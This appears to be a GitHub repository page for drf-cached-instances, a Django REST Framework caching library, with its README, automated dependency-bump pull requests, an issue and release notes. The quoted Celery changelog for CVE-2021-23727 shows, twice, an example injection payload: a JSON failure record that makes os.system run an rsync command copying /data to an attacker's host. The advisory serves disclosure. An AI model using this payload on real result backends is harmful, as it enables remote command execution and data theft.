Cached instances for Django REST Framework

jwhitlock, updated 🕥 2022-12-26 20:28:04

========================================== Cached Instances for Django REST Framework ==========================================

.. image:: http://img.shields.io/travis/jwhitlock/drf-cached-instances/master.svg :alt: The status of Travis continuous integration tests :target: https://travis-ci.org/jwhitlock/drf-cached-instances

.. image:: https://img.shields.io/coveralls/jwhitlock/drf-cached-instances/master.svg :target: https://coveralls.io/r/jwhitlock/drf-cached-instances :alt: The code coverage

.. image:: https://img.shields.io/pypi/v/drf-cached-instances.svg :alt: The PyPI package :target: https://pypi.python.org/pypi/drf-cached-instances

.. image:: https://img.shields.io/pypi/dm/drf-cached-instances.svg :alt: PyPI download statistics :target: https://pypi.python.org/pypi/drf-cached-instances

.. image:: https://www.herokucdn.com/deploy/button.png :alt: Deploy to Heroku :target: https://heroku.com/deploy?template=https://github.com/jwhitlock/drf-cached-instances

.. Omit badges from docs

Speed up Django REST Framework_ (DRF) reads by storing instance data in cache.

This code was split from browsercompat_. You may be interested in viewing the browsercompat source code for a full example implementation.

  • Code: https://github.com/jwhitlock/drf-cached-instances
  • Free software: Mozilla Public License Version 2.0_
  • Documentation: https://drf-cached-instances.readthedocs.io

How it works

In a normal DRF view, a Django queryset is used to load an object or list of objects. A serializer is used to convert the objects into the "native" representation, and then a renderer works on this native representation. If the serializer includes data from related models, then multiple database queries may be required to generate a native representation. Some database efficiency can be gained by using select_related, but a minimum of one query is needed, which is unfortunate for an API with heavy read usage.

This project replaces the Django queryset with a cache-aware proxy class, making it possible to serve a read request with zero database requests (to retrieve an instance) or one request (to get the primary keys for a list view). It is suitable for APIs with heavy read operations and lots of linking between related instances.

When using the cache, Django objects are serialized to JSON. Only the attributes needed for the DRF native representation are stored in the cache. This include the JSON representation of fields such as foreign keys, reverse relations, and dates and times. These serialized objects are stored by primary key in the cache. When an instance is found in the cache, no database reads are needed to render the DRF representation. If the instance is not in the cache, it is serialized and stored, so that future reads will be faster.

The API implementor writes methods to handle JSON serialization, loading from the database, and identifying invalid cache entries on changes. There are a few integration points, including a mixin for views to load data from the cache. With only a few changes to existing code, your read views could be a lot faster.

Project status

This code is used for the browsercompat_ project, which was developed from 2015 - 2016, but is on hold as of August 2016. Since this was the primary user of this code, it may be a while before more features are implemented.

.. Django REST Framework: http://www.django-rest-framework.org .. browsercompat: https://github.com/mdn/browsercompat .. _Mozilla Public License Version 2.0: https://www.mozilla.org/MPL/2.0/

Issues

Bump wheel from 0.29.0 to 0.38.1

opened on 2022-12-26 20:28:04 by dependabot[bot]

Bumps wheel from 0.29.0 to 0.38.1.

Changelog

Sourced from wheel's changelog.

Release Notes

UNRELEASED

  • Updated vendored packaging to 22.0

0.38.4 (2022-11-09)

  • Fixed PKG-INFO conversion in bdist_wheel mangling UTF-8 header values in METADATA (PR by Anderson Bravalheri)

0.38.3 (2022-11-08)

  • Fixed install failure when used with --no-binary, reported on Ubuntu 20.04, by removing setup_requires from setup.cfg

0.38.2 (2022-11-05)

  • Fixed regression introduced in v0.38.1 which broke parsing of wheel file names with multiple platform tags

0.38.1 (2022-11-04)

  • Removed install dependency on setuptools
  • The future-proof fix in 0.36.0 for converting PyPy's SOABI into a abi tag was faulty. Fixed so that future changes in the SOABI will not change the tag.

0.38.0 (2022-10-21)

  • Dropped support for Python < 3.7
  • Updated vendored packaging to 21.3
  • Replaced all uses of distutils with setuptools
  • The handling of license_files (including glob patterns and default values) is now delegated to setuptools>=57.0.0 (#466). The package dependencies were updated to reflect this change.
  • Fixed potential DoS attack via the WHEEL_INFO_RE regular expression
  • Fixed ValueError: ZIP does not support timestamps before 1980 when using SOURCE_DATE_EPOCH=0 or when on-disk timestamps are earlier than 1980-01-01. Such timestamps are now changed to the minimum value before packaging.

0.37.1 (2021-12-22)

  • Fixed wheel pack duplicating the WHEEL contents when the build number has changed (#415)
  • Fixed parsing of file names containing commas in RECORD (PR by Hood Chatham)

0.37.0 (2021-08-09)

  • Added official Python 3.10 support
  • Updated vendored packaging library to v20.9

... (truncated)

Commits
  • 6f1608d Created a new release
  • cf8f5ef Moved news item from PR #484 to its proper place
  • 9ec2016 Removed install dependency on setuptools (#483)
  • 747e1f6 Fixed PyPy SOABI parsing (#484)
  • 7627548 [pre-commit.ci] pre-commit autoupdate (#480)
  • 7b9e8e1 Test on Python 3.11 final
  • a04dfef Updated the pypi-publish action
  • 94bb62c Fixed docs not building due to code style changes
  • d635664 Updated the codecov action to the latest version
  • fcb94cd Updated version to match the release
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/jwhitlock/drf-cached-instances/network/alerts).

Bump ipython from 5.1.0 to 7.16.3

opened on 2022-01-21 19:33:42 by dependabot[bot]

Bumps ipython from 5.1.0 to 7.16.3.

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/jwhitlock/drf-cached-instances/network/alerts).

Bump celery from 3.1.23 to 5.2.2

opened on 2022-01-06 22:24:28 by dependabot[bot]

Bumps celery from 3.1.23 to 5.2.2.

Release notes

Sourced from celery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data [email protected]:~/data"
    }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

v5.2.1

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.
  • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

... (truncated)

Changelog

Sourced from celery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]192.168.56.100:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    .. code-block:: python

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data [email protected]:~/data"
      }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

5.2.1

:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.

... (truncated)

Commits


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/jwhitlock/drf-cached-instances/network/alerts).

Bump werkzeug from 0.11.10 to 0.15.3

opened on 2019-10-22 04:45:37 by dependabot[bot]

Bumps werkzeug from 0.11.10 to 0.15.3.

Release notes *Sourced from [werkzeug's releases](https://github.com/pallets/werkzeug/releases).* > ## 0.15.3 > * Blog: https://palletsprojects.com/blog/werkzeug-0-15-3-released/ > * Changes: https://werkzeug.palletsprojects.com/en/0.15.x/changes/#version-0-15-3 > > > ## 0.15.2 > * Blog: https://palletsprojects.com/blog/werkzeug-0-15-2-released/ > * Changes: https://werkzeug.palletsprojects.com/en/0.15.x/changes/#version-0-15-2 > > ## 0.15.1 > * Blog: https://palletsprojects.com/blog/werkzeug-0-15-1-released/ > * Changes: https://werkzeug.palletsprojects.com/en/0.15.x/changes/ > > ## 0.15.0 > * Blog: https://palletsprojects.com/blog/werkzeug-0-15-0-released/ > * Changes: https://werkzeug.palletsprojects.com/en/0.15.x/changes/ > > ## 0.13 > [Read the announcement here.](https://www.palletsprojects.com/blog/werkzeug-013-released/) > > [Read the full changelog.](http://werkzeug.pocoo.org/docs/latest/changes/#version-0-13) > > Install from [PyPI](https://pypi.org/Werkzeug/0.13) with pip: > > ``` > pip install -U Werkzeug > ``` >
Changelog *Sourced from [werkzeug's changelog](https://github.com/pallets/werkzeug/blob/master/CHANGES.rst).* > Version 0.15.3 > -------------- > > Released 2019-05-14 > > - Properly handle multi-line header folding in development server in > Python 2.7. (:issue:`1080`) > - Restore the ``response`` argument to :exc:`~exceptions.Unauthorized`. > (:pr:`1527`) > - :exc:`~exceptions.Unauthorized` doesn't add the ``WWW-Authenticate`` > header if ``www_authenticate`` is not given. (:issue:`1516`) > - The default URL converter correctly encodes bytes to string rather > than representing them with ``b''``. (:issue:`1502`) > - Fix the filename format string in > :class:`~middleware.profiler.ProfilerMiddleware` to correctly handle > float values. (:issue:`1511`) > - Update :class:`~middleware.lint.LintMiddleware` to work on Python 3. > (:issue:`1510`) > - The debugger detects cycles in chained exceptions and does not time > out in that case. (:issue:`1536`) > - When running the development server in Docker, the debugger security > pin is now unique per container. > > > Version 0.15.2 > -------------- > > Released 2019-04-02 > > - ``Rule`` code generation uses a filename that coverage will ignore. > The previous value, "generated", was causing coverage to fail. > (:issue:`1487`) > - The test client removes the cookie header if there are no persisted > cookies. This fixes an issue introduced in 0.15.0 where the cookies > from the original request were used for redirects, causing functions > such as logout to fail. (:issue:`1491`) > - The test client copies the environ before passing it to the app, to > prevent in-place modifications from affecting redirect requests. > (:issue:`1498`) > - The ``"werkzeug"`` logger only adds a handler if there is no handler > configured for its level in the logging chain. This avoids double > logging if other code configures logging first. (:issue:`1492`) > > > Version 0.15.1 > -------------- > > Released 2019-03-21 > > - :exc:`~exceptions.Unauthorized` takes ``description`` as the first > ... (truncated)
Commits - [`9b1123a`](https://github.com/pallets/werkzeug/commit/9b1123a779e95b5c38ca911ce1329e87a3348a92) release version 0.15.3 - [`00bc43b`](https://github.com/pallets/werkzeug/commit/00bc43b1672e662e5e3b8cecd79e67fc968fa246) unique debugger pin in Docker containers - [`2cbdf2b`](https://github.com/pallets/werkzeug/commit/2cbdf2b02273daccf85845b1e1569096e65ffe58) Merge pull request [#1542](https://github-redirect.dependabot.com/pallets/werkzeug/issues/1542) from asottile/exceptions_arent_always_hashable - [`0e669f6`](https://github.com/pallets/werkzeug/commit/0e669f6be532801267d35de23c5f5237b8406d8a) Fix unhashable exception types - [`bdc17e4`](https://github.com/pallets/werkzeug/commit/bdc17e4cd10bbb17449006cef385ec953a11fc36) Merge pull request [#1540](https://github-redirect.dependabot.com/pallets/werkzeug/issues/1540) from pallets/break-tb-cycle - [`44e38c2`](https://github.com/pallets/werkzeug/commit/44e38c2985bcd3a7c17467bead901b8f36528f5f) break cycle in chained exceptions - [`777500b`](https://github.com/pallets/werkzeug/commit/777500b64647ea47b21e52e5e113ba1d86014c05) Merge pull request [#1518](https://github-redirect.dependabot.com/pallets/werkzeug/issues/1518) from NiklasMM/fix/1510_lint-middleware-python3-compa... - [`e00c7c2`](https://github.com/pallets/werkzeug/commit/e00c7c2cedcbcad3772e4522813c78bc9a860fbe) Make LintMiddleware Python 3 compatible and add tests - [`d590cc7`](https://github.com/pallets/werkzeug/commit/d590cc7cf2fcb34ebc0783eb3c2913e8ce016ed8) Merge pull request [#1539](https://github-redirect.dependabot.com/pallets/werkzeug/issues/1539) from pallets/profiler-format - [`0388fc9`](https://github.com/pallets/werkzeug/commit/0388fc95e696513bbefbde293f3f76cc482df8fa) update filename_format for ProfilerMiddleware. - Additional commits viewable in [compare view](https://github.com/pallets/werkzeug/compare/0.11.10...0.15.3)


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot ignore this [patch|minor|major] version` will close this PR and stop Dependabot creating any more for this minor/major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/jwhitlock/drf-cached-instances/network/alerts).

Nested serializers

opened on 2015-10-07 17:52:39 by creynold

Is there currently a way to utilize nested serializers within drf-cached-instances? When I try to use cachedviewsetmixin on my viewset I get the following error:

Got AttributeError when attempting to get a value for field `type` on serializer `NestedSerializer`. The serializer field might be named incorrectly and not match any attribute or key on the `PkOnlyModel` instance. Original exception text was: 'PkOnlyModel' object has no attribute 'type'.

Releases

v0.3.4 2016-08-14 21:09:17

  • Drop support for Django 1.7, Python 2.6
  • Expand tests to Django 1.10, Django REST Framework 3.4, Python 3.5

v0.3.3 2015-11-05 17:05:42

  • Add serializer for datetime.timedelta, to support Django 1.8's DurationField (creynold)
  • Convert string representations of datetimes, dates, and timedeltas
  • Expand tests to Django 1.9 beta 1 and Django REST Framework 3.3

2015-09-23 18:07:11

  • Remove deprecation warning in Django 1.8
  • Expand tests to Django master and Django REST Framework 3.2
  • Fix invalid mock.patch tests that break under mock 1.3.0
  • Documentation updates and fixes

2015-06-17 13:51:23

  • Move get_object_or_404 to mixin method, to allow easier extending.

2015-04-09 16:03:54

  • Tested with Django 1.8
  • Tested with Django REST Framework 2.4, 3.0, and 3.1
  • CachedModel now supports .pk attribute as an alias, usually to the .id field. DRF 3 uses .pk to determine if a model is saved to database, and returns empty relation data for unsaved fields.
  • cache.delete_all_versions() will delete all cached instances of a model and PK. This is useful when changes are made outside of normal requests, such as during a data migration.

2014-12-11 16:43:02

  • Add update_only option to cache.update_instance, to support eventual consistency for cold caches.
John Whitlock

Developer at @mozilla working on Firefox Relay. Formerly on @mdn, crash reporting, symbols, location services, and taskcluster.

GitHub Repository